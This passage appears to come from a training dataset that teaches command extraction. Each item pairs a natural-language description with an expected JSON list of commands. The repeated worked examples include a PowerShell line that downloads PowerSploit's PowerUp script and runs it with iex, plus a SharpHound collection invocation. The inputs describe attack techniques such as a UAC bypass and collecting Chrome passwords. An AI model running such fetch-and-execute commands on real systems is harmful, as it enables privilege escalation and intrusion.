privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Executes powershell.exe with variations of the -Command parameter", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n A modified sysinternals suite will be downloaded and staged. The Chrome-password collector, renamed accesschk.exe, will then be executed from #{file_path}.\n\nSuccessful execution will produce stdout message stating \"Copying db ... passwordsDB DB Opened. statement prepare DB connection closed properly\". Upon completion, final output will be a file modification of PathToAtomicsFolder\\..\\ExternalPayloads\\sysinternals\\passwordsdb.\n\nAdapted from [MITRE ATTACK Evals](https://github.com/mitre-attack/attack-arsenal/blob/66650cebd33b9a1e180f7b31261da1789cdceb66/adversary_emulation/APT29/CALDERA_DIY/evals/data/abilities/credential-access/e7cab9bb-3e3a-4d93-99cc-3593c1dc8c6d.yml)\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n This test deletes the user account using the dscl utility.\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Some Linux systems may not activate ufw, but use iptables for firewall rules instead. (ufw works on top of iptables.) \nAttackers cannot directly disable iptables, as it is not implemented as a service like ufw. But they can flush all iptables \nrules, which in fact \"disable\" iptables. \n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Utilize rsync to perform a remote file copy (push)\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n PowerShell code to bypass User Account Control using the Windows 10 Features on Demand Helper (fodhelper.exe). Requires Windows 10.\nUpon execution command prompt will be opened.\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Compile a c file with either gcc or clang on FreeBSD, Linux or Macos.\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n A recent trend by threat actors, once a foothold is established, maintain long term persistence using third party remote services such as UltraViewer to provide the operator with access to the network using legitimate services. \n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n The script gathernetworkinfo.vbs is employed to collect system information such as the operating system, DNS details, firewall configuration, etc. Outputs are stored in c:\\Windows\\System32\\config or c:\\Windows\\System32\\reg. https://www.verboon.info/2011/06/the-gathernetworkinfo-vbs-script/\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only 